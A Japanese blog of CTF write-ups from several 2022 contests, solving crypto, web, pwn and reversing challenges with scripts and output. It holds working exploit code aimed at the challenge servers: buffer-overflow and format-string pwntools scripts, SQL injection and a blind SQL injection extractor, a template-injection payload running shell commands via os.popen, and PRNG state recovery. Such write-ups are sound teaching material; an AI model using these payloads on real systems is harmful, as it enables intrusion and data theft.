ADMIN PANEL BUT HARDER AND FIXED (CRYPTO)

ADMIN PANEL BUT HARDER と同じスクリプトを使う。

#!/usr/bin/env python3
import socket
import random

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def untemper(rand):
    rand ^= rand >> 18;
    rand ^= (rand << 15) & 0xefc60000;
 
    a = rand ^ ((rand << 7) & 0x9d2c5680);
    b = rand ^ ((a << 7) & 0x9d2c5680);
    c = rand ^ ((b << 7) & 0x9d2c5680);
    d = rand ^ ((c << 7) & 0x9d2c5680);
    rand = rand ^ ((d << 7) & 0x9d2c5680);
 
    rand ^= ((rand ^ (rand >> 11)) >> 11);
    return rand

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('01.linux.challenges.ctf.thefewchosen.com', 57861))

N = 624
state = []
for i in range(N // (32 // 4)):
    for _ in range(4):
        data = recvuntil(s, b'\n').rstrip()
        print(data)

    token = (b'A' * 32).hex()

    data = recvuntil(s, b'> ')
    print(data + '2')
    s.sendall(b'2\n')
    data = recvuntil(s, b'> ')
    print(data + token)
    s.sendall(token.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

    r_bytes = bytes.fromhex(data.split(' ')[-1])
    for i in range(0, len(r_bytes), 4):
        r_int = int.from_bytes(r_bytes[i:i+4], byteorder='little')
        state.append(untemper(r_int))

state.append(N)
random.setstate([3, tuple(state), None])

for _ in range(4):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

token = random.randbytes(32).hex()

data = recvuntil(s, b'> ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b'> ')
print(data + token)
s.sendall(token.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

for code in range(256):
    for _ in range(4):
        data = recvuntil(s, b'\n').rstrip()
        print(data)

    password = (bytes([code]) * 16).hex()

    data = recvuntil(s, b'> ')
    print(data + '1')
    s.sendall(b'1\n')
    data = recvuntil(s, b'> ')
    print(data + password)
    s.sendall(password.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    if data != 'Wrong password!':
        break

実行結果は以下の通り。

========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: e7f3121eaf23d2ef1a3c2e706fbd6c482ad71edc97ee02106a3630f7b8c85558
========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: ed0c19a2c098875025b11a1bedb6ea3a7f0f88d7fc0a3a86c6660b077039894f
========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: 0bcabe8ef9f050b2c3b820a497dfdecb699d13ddf60680aef605d54dc14f968e
                                :
                                :
========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: 161e4e42e07f30ae1a8ea3c76e421e8827cfddf6ffd1d6c64c8a364fbf8651c8
========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: 820d57871a480defe1532bb4b774c37908106c4d4118305712a940c3a2f20f07
========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: 8555e9bd63350e949d3ad45d21477c3d81654b87e643cb53f0bdbd0e39a93b2a
========================
1. Access Flag
2. Change Password
========================
> 2
Token > 0faf1a1fa779674ab8bd48a3154ff54a1d21a85a0f53ad322a672a6f98838b32
XORing with: 0faf1a1fa779674ab8bd48a3154ff54a1d21a85a0f53ad322a672a6f98838b32
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 00000000000000000000000000000000
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 01010101010101010101010101010101
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 02020202020202020202020202020202
Wrong password!
                                :
                                :
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 53535353535353535353535353535353
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 54545454545454545454545454545454
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 55555555555555555555555555555555
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 56565656565656565656565656565656
TFCCTF{4pp4r3ntly_sp4ces_br34ks_th3_0ld_0ne}
TFCCTF{4pp4r3ntly_sp4ces_br34ks_th3_0ld_0ne}

Lexington Informatics Tournament CTF 2022 Writeup

この大会は2022/7/23 0:00(JST)~2022/7/25 13:00(JST)に開催されました。
今回もチームで参戦。結果は3878点で544チーム中39位でした。
自分で解けた問題をWriteupとして書いておきます。

HelloWorld (misc)

シーザー暗号。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 13:
LITCTF{W3lc0m3_T0_L1TCTF}
LITCTF{W3lc0m3_T0_L1TCTF}

Hex to ASCII (misc)

hexデコードする。

$ echo 4c49544354467b74306f6c355f346e645f77336273317433735f6172335f763372795f696d70307274346e745f6630725f4354467d | xxd -r -p
LITCTF{t0ol5_4nd_w3bs1t3s_ar3_v3ry_imp0rt4nt_f0r_CTF}
LITCTF{t0ol5_4nd_w3bs1t3s_ar3_v3ry_imp0rt4nt_f0r_CTF}

PeanutButter.jar (misc)

ctftimeのPeanutButter.jarチームのページにフラグが書いてあった。

LITCTF{H4s_Th3ir_0wn_CTF_OTZ_OTZ_OTZ}

Personal Website (web)

スクロールしても最下部にはたどり着かない。HTMLソースを見ると、フラグの先頭が見つかった。

<p>HAHAHAHAHAHAHAHAHAHA I know you will never reach the bottom here because of my infinite scroll. If you somehow did, here is the first third of the half LITCTF{E5th3r_M4n</p>

リンクされているhttp://litctf.live:31777/style.cssを見ると、フラグの真ん中の部分が見つかった。

/* _i5_s0_OTZ_0TZ_OFZ_4t_ */

リンクされているhttp://litctf.live:31777/javascript.jsを見ると、フラグの末尾が見つかった。

    // 3v3ryth1ng_sh3_d03s}
LITCTF{E5th3r_M4n_i5_s0_OTZ_0TZ_OFZ_4t_3v3ryth1ng_sh3_d03s}

CodeTiger orz Is Meta (misc)

$ exiftool codetigerfanpic.png 
ExifTool Version Number         : 11.88
File Name                       : codetigerfanpic.png
Directory                       : .
File Size                       : 27 kB
File Modification Date/Time     : 2022:07:23 06:36:34+09:00
File Access Date/Time           : 2022:07:23 06:39:26+09:00
File Inode Change Date/Time     : 2022:07:23 06:36:34+09:00
File Permissions                : rwxrwxrwx
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 1536
Image Height                    : 864
Bit Depth                       : 8
Color Type                      : RGB
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
SRGB Rendering                  : Perceptual
Gamma                           : 2.2
Pixels Per Unit X               : 4724
Pixels Per Unit Y               : 4724
Pixel Units                     : meters
Coded Character Set             : UTF8
Envelope Record Version         : 4
Object Name                     : LITCTF{c0de_
Copyright Notice                : orz}
Caption-Abstract                : t1g2r_
Application Record Version      : 4
XMP Toolkit                     : Image::ExifTool 12.36
Description                     : t1g2r_
Rights                          : orz}
Title                           : LITCTF{c0de_
Exif Byte Order                 : Big-endian (Motorola, MM)
Image Description               : t1g2r_
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Y Cb Cr Positioning             : Centered
Copyright                       : orz}
Image Size                      : 1536x864
Megapixels                      : 1.3

Object Name、Caption-Abstract、Copyright Noticeのフラグの破片を結合する。

LITCTF{c0de_t1g2r_orz}

Discord Flag (misc)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

LITCTF{L1T_1S_G0NNA_BE_S0_LIT_W1TH_Y0U_GUYS!}

Kevin's Cookies (web)

クッキーのlikeCookieの値がfalseになっているので、trueにしてリロードすると、以下のメッセージになった。

Oh silly you. What do you mean you like a true cookie? I have 20 cookies numbered from 1 to 20, and all of them are made from super true authentic recipes.

クッキーのlikeCookieの値を1から順に設定してみると、17の時にフラグが表示された。

LITCTF{Bd1mens10n_15_l1k3_sup3r_dup3r_0rzzzz}

Running Up That Hill (crypto)

Hill暗号。https://www.dcode.fr/hill-cipherで復号する。

LITCTF{B3_RUNN1NG_UP_TH4T_H1LLLL}

math test (rev)

Ghidraでデコンパイルする。

void main(void)

{
  int local_c;
  
  puts("Welcome to the math test. If you get a perfect score, I will print the flag!");
  puts("All questions will have non-negative integer answers.\n");
  for (local_c = 0; local_c < NUM_Q; local_c = local_c + 1) {
    printf("Question #%d: ",(ulong)(local_c + 1));
    puts(*(char **)(questions + (long)local_c * 8));
    __isoc99_scanf(&DAT_00102286);
  }
  grade_test();
  return;
}

void grade_test(void)

{
  int local_10;
  uint local_c;
  
  local_c = 0;
  for (local_10 = 0; local_10 < NUM_Q; local_10 = local_10 + 1) {
    if (*(long *)(submitted + (long)local_10 * 8) == *(long *)(answers + (long)local_10 * 8)) {
      local_c = local_c + 1;
    }
  }
  printf("You got %d out of 10 right!\n",(ulong)local_c);
  if (local_c == 10) {
    puts("Wow! That\'s a perfect score!");
    puts("Here\'s the flag:");
    generate_flag();
  }
  else {
    puts("If you get a 10 out of 10, I will give you the flag!");
  }
  return;
}

void generate_flag(void)

{
  int local_14;
  int local_10;
  int local_c;
  
  for (local_c = 0; local_c < NUM_Q; local_c = local_c + 1) {
    for (local_10 = 0; local_10 < FLAG_LEN; local_10 = local_10 + 1) {
      *(ulong *)(flag + (long)local_10 * 8) =
           *(ulong *)(flag + (long)local_10 * 8) ^
           ((long)local_10 ^ 0xbf58476d1ce4e5b9U) *
           (*(ulong *)(submitted + (long)local_c * 8) ^ 0x94d049bb133111eb);
    }
  }
  for (local_14 = 0; local_14 < FLAG_LEN; local_14 = local_14 + 1) {
    printf("%c",*(undefined8 *)(flag + (long)local_14 * 8));
  }
  putchar(10);
  return;
}

                             answers                                         XREF[3]:     Entry Point(*), 
                                                                                          grade_test:00101307(*), 
                                                                                          grade_test:0010130e(R)  
        00104080 02 00 00        undefine
                 00 00 00 
                 00 00 04 
           00104080 02              undefined102h                     [0]                               XREF[3]:     Entry Point(*), 
                                                                                                                     grade_test:00101307(*), 
                                                                                                                     grade_test:0010130e(R)  
           00104081 00              undefined100h                     [1]
           00104082 00              undefined100h                     [2]
           00104083 00              undefined100h                     [3]
           00104084 00              undefined100h                     [4]
           00104085 00              undefined100h                     [5]
           00104086 00              undefined100h                     [6]
           00104087 00              undefined100h                     [7]
           00104088 04              undefined104h                     [8]
           00104089 00              undefined100h                     [9]
           0010408a 00              undefined100h                     [10]
           0010408b 00              undefined100h                     [11]
           0010408c 00              undefined100h                     [12]
           0010408d 00              undefined100h                     [13]
           0010408e 00              undefined100h                     [14]
           0010408f 00              undefined100h                     [15]
           00104090 f0              undefined1F0h                     [16]
           00104091 00              undefined100h                     [17]
           00104092 00              undefined100h                     [18]
           00104093 00              undefined100h                     [19]
           00104094 00              undefined100h                     [20]
           00104095 00              undefined100h                     [21]
           00104096 00              undefined100h                     [22]
           00104097 00              undefined100h                     [23]
           00104098 03              undefined103h                     [24]
           00104099 00              undefined100h                     [25]
           0010409a 00              undefined100h                     [26]
           0010409b 00              undefined100h                     [27]
           0010409c 00              undefined100h                     [28]
           0010409d 00              undefined100h                     [29]
           0010409e 00              undefined100h                     [30]
           0010409f 00              undefined100h                     [31]
           001040a0 6d              undefined16Dh                     [32]
           001040a1 8d              undefined18Dh                     [33]
           001040a2 de              undefined1DEh                     [34]
           001040a3 09              undefined109h                     [35]
           001040a4 00              undefined100h                     [36]
           001040a5 00              undefined100h                     [37]
           001040a6 00              undefined100h                     [38]
           001040a7 00              undefined100h                     [39]
           001040a8 0a              undefined10Ah                     [40]
           001040a9 00              undefined100h                     [41]
           001040aa 00              undefined100h                     [42]
           001040ab 00              undefined100h                     [43]
           001040ac 00              undefined100h                     [44]
           001040ad 00              undefined100h                     [45]
           001040ae 00              undefined100h                     [46]
           001040af 00              undefined100h                     [47]
           001040b0 87              undefined187h                     [48]
           001040b1 15              undefined115h                     [49]
           001040b2 59              undefined159h                     [50]
           001040b3 00              undefined100h                     [51]
           001040b4 00              undefined100h                     [52]
           001040b5 00              undefined100h                     [53]
           001040b6 00              undefined100h                     [54]
           001040b7 00              undefined100h                     [55]
           001040b8 49              undefined149h                     [56]
           001040b9 1e              undefined11Eh                     [57]
           001040ba a1              undefined1A1h                     [58]
           001040bb 06              undefined106h                     [59]
           001040bc 00              undefined100h                     [60]
           001040bd 00              undefined100h                     [61]
           001040be 00              undefined100h                     [62]
           001040bf 00              undefined100h                     [63]
           001040c0 5f              undefined15Fh                     [64]
           001040c1 e9              undefined1E9h                     [65]
           001040c2 60              undefined160h                     [66]
           001040c3 20              undefined120h                     [67]
           001040c4 00              undefined100h                     [68]
           001040c5 00              undefined100h                     [69]
           001040c6 00              undefined100h                     [70]
           001040c7 00              undefined100h                     [71]
           001040c8 09              undefined109h                     [72]
           001040c9 00              undefined100h                     [73]
           001040ca 00              undefined100h                     [74]
           001040cb 00              undefined100h                     [75]
           001040cc 00              undefined100h                     [76]
           001040cd 00              undefined100h                     [77]
           001040ce 00              undefined100h                     [78]
           001040cf 00              undefined100h                     [79]

answerに答えがある。

Q1: 2         (=0x0000000000000002)
Q2: 4         (=0x0000000000000004)
Q3: 240       (=0x00000000000000f0)
Q4: 3         (=0x0000000000000003)
Q5: 165580141 (=0x0000000009de8d6d)
Q6: 10        (=0x000000000000000a)
Q7: 5838215   (=0x0000000000591587)
Q8: 111222345 (=0x0000000006a11e49)
Q9: 543222111 (=0x000000002060e95f)
Q10: 9        (=0x0000000000000009)

この答えを答えていく。

$ ./math
Welcome to the math test. If you get a perfect score, I will print the flag!
All questions will have non-negative integer answers.

Question #1: What is 1+1?
2
Question #2: How many sides does a square have?
4
Question #3: What is 8*30?
240
Question #4: What is the remainder when 39 is divided by 4?
3
Question #5: What is the 41st fibbonaci number?
165580141
Question #6: How many questions are on this test?
10
Question #7: What number am I thinking of?
5838215
Question #8: What is the answer to this question?
111222345
Question #9: Prove that the answer to the previous question is correct.
543222111
Question #10: Give me an integer.
9
You got 10 out of 10 right!
Wow! That's a perfect score!
Here's the flag:
LITCTF{y0u_must_b3_gr8_@_m4th_i_th0ught_th4t_t3st_was_imp0ss1bl3!}
LITCTF{y0u_must_b3_gr8_@_m4th_i_th0ught_th4t_t3st_was_imp0ss1bl3!}

Guess The Pokemon (web)

SQLインジェクション。以下を入力して、Submitすると、フラグが表示された。

1 or 1=1 -- -
LITCTF{flagr3l4t3dt0pok3m0n0rsom3th1ng1dk}

save_tyger (pwn)

$ file save_tyger 
save_tyger: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5bfe49d59c6568478849959669340ec6dc7dbd7d, for GNU/Linux 3.2.0, not stripped

BOFでpassを上書きして0xabadaaabにする。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('litctf.live', 31786)
else:
    p = process('./save_tyger')

payload = b'A' * 40
payload += p64(0xabadaaab)

data = p.recvuntil(b'\n').rstrip().decode()
print(data)
data = p.recvuntil(b'\n').rstrip().decode()
print(data)
print(payload)
p.sendline(payload)
data = p.recvuntil(b'\n').rstrip().decode()
print(data)
data = p.recvuntil(b'\n').rstrip().decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to litctf.live on port 31786: Done
Oh no, someone stole our one and only Tyger! :noo:
Would you help us save him?
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xab\xaa\xad\xab\x00\x00\x00\x00'
It worked!
LITCTF{y4yy_y0u_sav3d_0ur_m41n_or94n1z3r}
[*] Closed connection to litctf.live port 31786
LITCTF{y4yy_y0u_sav3d_0ur_m41n_or94n1z3r}

save_tyger2 (pwn)

$ file save_tyger2 
save_tyger2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=de3f886845dafa4aba9055e73a689bb63def6740, for GNU/Linux 3.2.0, not stripped

BOFでcell関数をコールする。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('litctf.live', 31788)
else:
    p = process('./save_tyger2')

elf = ELF('./save_tyger2')

cell_addr = elf.symbols['cell']

payload = b'A' * 40
payload += p64(cell_addr)

data = p.recvuntil(b'\n').rstrip().decode()
print(data)
data = p.recvuntil(b'\n').rstrip().decode()
print(data)
print(payload)
p.sendline(payload)
data = p.recvuntil(b'\n').rstrip().decode()
print(data)
data = p.recvuntil(b'\n').rstrip().decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to litctf.live on port 31788: Done
[*] '/mnt/hgfs/Shared/save_tyger2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
NOOOO, THEY TOOK HIM AGAIN!
Please help us get him out or there is no way we will be able to prepare LIT :sadness:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAb\x11@\x00\x00\x00\x00\x00'
Thank god you got him out of this cockroach-infested cell!
LITCTF{w3_w0nt_l3t_th3m_t4k3_tyg3r_3v3r_4gain}
[*] Closed connection to litctf.live port 31788
LITCTF{w3_w0nt_l3t_th3m_t4k3_tyg3r_3v3r_4gain}

Among Us (web)

サイトのページ、リンクされているファイルにはフラグらしきものは見つからない。指定のURLのページのレスポンス情報を見てみる。

$ curl http://litctf.live:31779/ --dump-header - -o /dev/null
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0HTTP/1.1 200 OK
x-powered-by: Express
accept-ranges: bytes
cache-control: public, max-age=0
last-modified: Mon, 18 Jul 2022 01:42:49 GMT
etag: W/"10d2-1820ef8e905"
content-type: text/html; charset=UTF-8
content-length: 4306
date: Sat, 23 Jul 2022 05:15:29 GMT
keep-alive: timeout=5

100  4306  100  4306    0     0  11155      0 --:--:-- --:--:-- --:--:-- 11155

リンクされているページのレスポンス情報を見てみる。

$ curl http://litctf.live:31779/sussy-yellow-amogus --dump-header - -o /dev/null
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0HTTP/1.1 200 OK
x-powered-by: Express
sussyflag: LITCTF{mr_r4y_h4n_m4y_b3_su55y_bu7_4t_l3ast_h3s_OTZOTZOTZ}
accept-ranges: bytes
cache-control: public, max-age=0
last-modified: Mon, 18 Jul 2022 01:43:01 GMT
etag: W/"4d917-1820ef91815"
content-type: image/gif
content-length: 317719
date: Sat, 23 Jul 2022 05:17:32 GMT
keep-alive: timeout=5

100  310k  100  310k    0     0   197k      0  0:00:01  0:00:01 --:--:--  197k

sussyflagにフラグが設定されていた。

LITCTF{mr_r4y_h4n_m4y_b3_su55y_bu7_4t_l3ast_h3s_OTZOTZOTZ}

waifu (pwn)

$ file waifu
waifu: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2b8d0e98c1a7ea5c95005bc6804f6d1ed7656a9c, for GNU/Linux 3.2.0, not stripped

FSBを使って、メモリ上のフラグをリークする。

#!/usr/bin/env python3
from pwn import *

flag = ''
i = 6
while True:
    if len(sys.argv) == 1:
        p = remote('litctf.live', 31791)
    else:
        p = process('./waifu')

    payload = f'%{i}$p'

    data = p.recvuntil(b'\n').rstrip().decode()
    print(data)
    print(payload)
    p.sendline(payload.encode())
    data = p.recvuntil(b':\n').rstrip().decode()
    print(data)
    data = p.recvuntil(b'\n').rstrip().decode()
    print(data)
    flag += p64(int(data, 16)).decode()
    if '}' in flag:
        break

    p.close()
    i += 1

print(flag)

実行結果は以下の通り。

[+] Opening connection to litctf.live on port 31791: Done
Do you like waifus?
%6$p

Wtmoo how could you say:
0x667b46544354494c
[*] Closed connection to litctf.live port 31791
[+] Opening connection to litctf.live on port 31791: Done
Do you like waifus?
%7$p

Wtmoo how could you say:
0x747833745f6d3072
[*] Closed connection to litctf.live port 31791
[+] Opening connection to litctf.live on port 31791: Done
Do you like waifus?
%8$p

Wtmoo how could you say:
0x755f68732e377234
[*] Closed connection to litctf.live port 31791
[+] Opening connection to litctf.live on port 31791: Done
Do you like waifus?
%9$p

Wtmoo how could you say:
0x6161616161616177
[*] Closed connection to litctf.live port 31791
[+] Opening connection to litctf.live on port 31791: Done
Do you like waifus?
%10$p

Wtmoo how could you say:
0x7d61616161616161
LITCTF{fr0m_t3xt4r7.sh_uwaaaaaaaaaaaaaa}
[*] Closed connection to litctf.live port 31791
LITCTF{fr0m_t3xt4r7.sh_uwaaaaaaaaaaaaaa}

Amy The Hedgehog (web)

SQLインジェクションができないか試してみる。

a
→wrong!!! (。•̀ᴗ-)✧

' union select 1 --
→(≧U≦❁) You got it!!!

' union select name from names --
→(≧U≦❁) You got it!!!

' or 1=1 --
→(≧U≦❁) You got it!!!

Blind SQL Injectionでフラグを求める。

#!/usr/bin/env python3
import requests

url = 'http://litctf.live:31770/'

flag_len = -1
for i in range(1, 33):
    data = {"name": "' or (SELECT length(name) FROM names) = " + str(i) + " --"}
    r = requests.post(url, data=data)
    if 'You got it!!!' in r.text:
        flag_len = i
        break

print('[+] Flag Length is:', flag_len)

flag = ''
for i in range(1, flag_len + 1):
    for code in range(33, 127):
        data = {"name": "' or substr((SELECT name FROM names)," + str(i) + ",1)"
            + " = '" + chr(code) + "' --"}
        r = requests.post(url, data=data)
        if 'You got it!!!' in r.text:
            flag += chr(code)
            break
    print('[+] flag:', flag)

print('[*] flag:', flag)

実行結果は以下の通り。

[+] Flag Length is: 13
[+] flag: L
[+] flag: LI
[+] flag: LIT
[+] flag: LITC
[+] flag: LITCT
[+] flag: LITCTF
[+] flag: LITCTF{
[+] flag: LITCTF{s
[+] flag: LITCTF{sl
[+] flag: LITCTF{sld
[+] flag: LITCTF{sldj
[+] flag: LITCTF{sldjf
[+] flag: LITCTF{sldjf}
[*] flag: LITCTF{sldjf}
LITCTF{sldjf}

EYANGCH Fan Art Maker (web)

適当な入力をしてSubmitすると、マーカーに隠れてあまりフラグは見えない。デフォルトのフラグ表示と別に、位置を調整してフラグを表示させる。
例えば、以下のように入力すると、フラグが見えるようになる。

<flag x="200" y="550"></flag>

LITCTF{wh4t_d03s_CH_1n_EyangCH_m3an???}

A ROCk (crypto)

ROCAの問題。necaを使ってNを素因数分解する。

$ ./neca 8721839759350069167278335804233522732628197837843780295129915563071581371083672792796544014245271677069445637593635290140076123157617389715458979685368727
NECA - Not Even Coppersmith's Attack
ROCA weak RSA key attack by Jannis Harder (me@jix.one)

 *** Currently only 512-bit keys are supported ***

N = 8721839759350069167278335804233522732628197837843780295129915563071581371083672792796544014245271677069445637593635290140076123157617389715458979685368727
Factoring...

 [==========              ] 43.32% elapsed: 1000s left: 1308.58s total: 2308.64
 [==========              ] 43.36% elapsed: 1001s left: 1307.57s total: 2308.63
 [==========              ] 43.41% elapsed: 1002s left: 1306.55s total: 2308.61
 [==========              ] 43.45% elapsed: 1003s left: 1305.54s total: 2308.61
 [==========              ] 43.49% elapsed: 1004s left: 1304.67s total: 2308.69
                                :
 [==============          ] 56.50% elapsed: 1303s left: 1003.19s total: 2306.19
 [==============          ] 56.55% elapsed: 1304s left: 1002.09s total: 2306.17
 [==============          ] 56.59% elapsed: 1305s left: 1001.09s total: 2306.17
 [==============          ] 56.63% elapsed: 1306s left: 1000.17s total: 2306.19
 [==============          ] 57.07% elapsed: 1316s left: 990.10s total: 2306.10s

Factorization found:
N = 70672758723177433011581077796363544664410141195648490771860623139983928782297 * 123411621633636675541493070644959834875873057348494554188657868973313372350191

素因数分解できたので、通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('nums.txt', 'r') as f:
    params = f.read().splitlines()

n = int(params[0].split('=')[1])
e = int(params[1].split('=')[1])
ct = int(params[2].split('=')[1])

p = 70672758723177433011581077796363544664410141195648490771860623139983928782297
q = 123411621633636675541493070644959834875873057348494554188657868973313372350191
assert p * q == n

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, n)
flag = long_to_bytes(m).decode()
print(flag)
LITCTF{rsalib_n0_m0r333}

Flashy Colors (crypto)

画像の縦方向に、RGBで255の場合は1、0の場合に置き換え、2進数として並べ、デコードする。

#!/usr/bin/env python3
from PIL import Image
from Crypto.Util.number import *

img = Image.open('FlashyColors.png').convert('RGB')
w, h = img.size

bin_data = ''
for x in range(0, w, 240):
    for y in range(0, h, 240):
        r, g, b = img.getpixel((x, y))
        bin_data += str(r & 1) + str(g & 1) + str(b & 1)

flag = long_to_bytes(int(bin_data, 2)).decode()
print(flag)
LITCTF{0MG_I_l0ve_th3s3_fla5hy_c0lor}

Survey (misc)

アンケートに答えたら、フラグが表示された。

LITCTF{Th4nk5_for_c0m1ng_w3_l0v3_y0u}

DiceCTF @ HOPE Writeup

この大会は2022/7/23 3:00(JST)~2022/7/25 3:00(JST)に開催されました。
今回もチームで参戦。結果は2644点で412チーム中75位でした。
自分で解けた問題をWriteupとして書いておきます。

discord (misc)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

hope{a0bffd79ddaa5de3fd8ed2e60a143b08}

secure-page (web)

クッキーのadminの値をfalseからtrueに設定し、リロードすると、フラグが表示された。

hope{signatures_signatures_signatures}

reverser (web)

SSTIの問題。ただし、入力は逆順で行う必要がある。

}}4*7{{
→Output: 28


>>> '{{config.__class__.__init__.__globals__[\'os\'].popen("ls").read()}}'[::-1]
'}})(daer.)"sl"(nepop.]\'so\'[__slabolg__.__tini__.__ssalc__.gifnoc{{'

}})(daer.)"sl"(nepop.]'so'[__slabolg__.__tini__.__ssalc__.gifnoc{{
→Output: app.py flag-f5953883-3dae-4a0f-9660-d00b50ff4012.txt


>>> '{{config.__class__.__init__.__globals__[\'os\'].popen("cat flag-f5953883-3dae-4a0f-9660-d00b50ff4012.txt").read()}}'[::-1]
'}})(daer.)"txt.2104ff05b00d-0669-f0a4-ead3-3883595f-galf tac"(nepop.]\'so\'[__slabolg__.__tini__.__ssalc__.gifnoc{{'

}})(daer.)"txt.2104ff05b00d-0669-f0a4-ead3-3883595f-galf tac"(nepop.]'so'[__slabolg__.__tini__.__ssalc__.gifnoc{{
→Output: hope{cant_misuse_templates}
hope{cant_misuse_templates}

flag-viewer (web)

/flagにuser=adminでpostすれば、フラグが表示される。

$ curl https://flag-viewer.mc.ax/flag -d 'user=admin' -L

        <title>Flag Viewer</title>
        <link rel="stylesheet" href="/style.css" />
        <div class="container">
            <h1>The Flag Viewer</h1>
            <form action="/flag" method="POST">
                <input
                    type="text"
                    name="user"
                    placeholder="Username"
                    pattern="^(?!admin).*$"
                    oninvalid="this.setCustomValidity('Name not allowed!')"
                    oninput="this.setCustomValidity('')"
                />
                <input type="submit" value="Submit" />
            </form>
            <div>hope{oops_client_side_validation_again}</div>
        </div>
hope{oops_client_side_validation_again}

obp (crypto)

1バイトのXOR鍵のXOR暗号なので、フラグが"h"から始まることを前提に復号する。

#!/usr/bin/env python3
with open('output.txt', 'r') as f:
    enc = f.read().rstrip()

key = int(enc[:2], 16) ^ ord('h')

flag = ''
for i in range(0, len(enc), 2):
    flag += chr(int(enc[i:i+2], 16) ^ key)
print(flag)
hope{not_a_lot_of_keys_mdpxuqlcpmegqu}

slices (rev)

flagのスライス文字列の条件がわかるので、結合していく。

#!/usr/bin/env python3
from string import *

flag = [''] * 32

s = 'hope{'
index = 0
for i in range(5):
    flag[i] = s[index]
    index += 1

flag[-1] = '}'

s = 'i0_tnl3a0'
index = 0
for i in range(5, 32, 3):
    flag[i] = s[index]
    index += 1

s = '{0p0lsl'
index = 0
for i in range(4, 32, 4):
    flag[i] = s[index]
    index += 1

s = 'e0y_3l'
index = 0
for i in range(3, 32, 5):
    flag[i] = s[index]
    index += 1

s = '_vph_is_t'
index = 0
for i in range(6, 32, 3):
    flag[i] = s[index]
    index += 1

s = 'ley0sc_l}'
index = 0
for i in range(7, 32, 3):
    flag[i] = s[index]
    index += 1

flag = ''.join(flag)
print(flag)
hope{i_l0ve_pyth0n_slic3s_a_l0t}

orphan (misc)

$ cd .git
$ xxd -g 1 index
00000000: 44 49 52 43 00 00 00 02 00 00 00 01 62 d4 5d 25  DIRC........b.]%
00000010: 28 46 5e 64 62 d4 5d 25 28 46 5e 64 01 00 00 13  (F^db.]%(F^d....
00000020: 00 55 88 f9 00 00 81 a4 00 00 01 f5 00 00 00 14  .U..............
00000030: 00 00 00 13 8d 1d 54 23 95 c9 66 3b 57 f8 57 6d  ......T#..f;W.Wm
00000040: 2a a3 8c bb 24 2b ce 44 00 07 66 6f 6f 2e 74 78  *...$+.D..foo.tx
00000050: 74 00 00 00 54 52 45 45 00 00 00 19 00 31 20 30  t...TREE.....1 0
00000060: 0a 43 7c 87 df 63 fa 33 dd 32 a6 5d a1 91 77 df  .C|..c.3.2.]..w.
00000070: d1 1a e4 1d 39 26 d6 39 d5 6d e5 34 d6 aa 05 51  ....9&.9.m.4...Q
00000080: e9 74 30 a0 db 66 af 7a 43                       .t0..f.zC

$ python -c 'import zlib; print zlib.decompress(open("objects/8d/1d542395c9663b57f8576d2aa38cbb242bce44").read())'
blob 19nothing to see here

$ cat logs/refs/heads/main
0000000000000000000000000000000000000000 2ce03bc4ae69cd194b7680b18172641f7d56fbbf William Wang <defund@users.noreply.github.com> 1658084429 -0400	commit (initial): add foo

